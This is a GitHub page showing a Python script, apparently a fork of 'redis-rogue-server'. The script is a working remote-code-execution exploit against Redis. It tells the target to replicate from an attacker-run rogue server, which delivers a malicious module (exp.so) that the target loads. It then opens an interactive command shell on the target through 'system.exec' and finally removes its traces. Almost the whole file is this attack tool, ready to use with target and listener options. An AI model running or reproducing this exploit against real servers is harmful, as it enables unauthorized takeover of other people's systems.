forked from LoRexxar/redis-rogue-server
-
Notifications
You must be signed in to change notification settings - Fork 1
/
redis-rogue-server.py
executable file
·151 lines (131 loc) · 4.25 KB
/
redis-rogue-server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#!/usr/bin/env python3
import socket
import sys
from time import sleep
from optparse import OptionParser
payload = open("exp.so", "rb").read()
CLRF = "\r\n"
def mk_cmd_arr(arr):
cmd = ""
cmd += "*" + str(len(arr))
for arg in arr:
cmd += CLRF + "$" + str(len(arg))
cmd += CLRF + arg
cmd += "\r\n"
return cmd
def mk_cmd(raw_cmd):
return mk_cmd_arr(raw_cmd.split(" "))
def din(sock, cnt):
msg = sock.recv(cnt)
if len(msg) < 300:
print(f"\033[1;34;40m[->]\033[0m {msg}")
else:
print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}")
return msg.decode('gb18030')
def dout(sock, msg):
if type(msg) != bytes:
msg = msg.encode()
sock.send(msg)
if len(msg) < 300:
print(f"\033[1;32;40m[<-]\033[0m {msg}")
else:
print(f"\033[1;32;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}")
def decode_shell_result(s):
return "\n".join(s.split("\r\n")[1:-1])
class Remote:
def __init__(self, rhost, rport):
self._host = rhost
self._port = rport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.connect((self._host, self._port))
def send(self, msg):
dout(self._sock, msg)
def recv(self, cnt=65535):
return din(self._sock, cnt)
def do(self, cmd):
self.send(mk_cmd(cmd))
buf = self.recv()
return buf
def shell_cmd(self, cmd):
self.send(mk_cmd_arr(['system.exec', f"{cmd}"]))
buf = self.recv()
return buf
class RogueServer:
def __init__(self, lhost, lport):
self._host = lhost
self._port = lport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.bind(('0.0.0.0', self._port))
self._sock.listen(10)
def handle(self, data):
resp = ""
phase = 0
if "PING" in data:
resp = "+PONG" + CLRF
phase = 1
elif "REPLCONF" in data:
resp = "+OK" + CLRF
phase = 2
elif "PSYNC" in data or "SYNC" in data:
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
phase = 3
return resp, phase
def exp(self):
cli, addr = self._sock.accept()
while True:
data = din(cli, 1024)
if len(data) == 0:
break
resp, phase = self.handle(data)
dout(cli, resp)
if phase == 3:
break
def interact(remote):
try:
while True:
cmd = input("\033[1;32;40m[<<]\033[0m ").strip()
if cmd == "exit":
return
r = remote.shell_cmd(cmd)
for l in decode_shell_result(r).split("\n"):
if l:
print("\033[1;34;40m[>>]\033[0m " + l)
except KeyboardInterrupt:
return
def runserver(rhost, rport, lhost, lport):
# expolit
remote = Remote(rhost, rport)
remote.do(f"SLAVEOF {lhost} {lport}")
remote.do("CONFIG SET dbfilename exp.so")
sleep(2)
rogue = RogueServer(lhost, lport)
rogue.exp()
sleep(2)
remote.do("MODULE LOAD ./exp.so")
remote.do("SLAVEOF NO ONE")
# Operations here
interact(remote)
# clean up
remote.do("CONFIG SET dbfilename dump.rdb")
remote.shell_cmd("rm ./exp.so")
remote.do("MODULE UNLOAD system")
if __name__ == '__main__':
parser = OptionParser()
parser.add_option("--rhost", dest="rh", type="string",
help="target host")
parser.add_option("--rport", dest="rp", type="int",
help="target redis port, default 6379", default=6379)
parser.add_option("--lhost", dest="lh", type="string",
help="rogue server ip")
parser.add_option("--lport", dest="lp", type="int",
help="rogue server listen port, default 21000", default=21000)
(options, args) = parser.parse_args()
if not options.rh or not options.lh:
parser.error("Invalid arguments")
#runserver("127.0.0.1", 6379, "127.0.0.1", 21000)
print(f"TARGET {options.rh}:{options.rp}")
print(f"SERVER {options.lh}:{options.lp}")
runserver(options.rh, options.rp, options.lh, options.lp)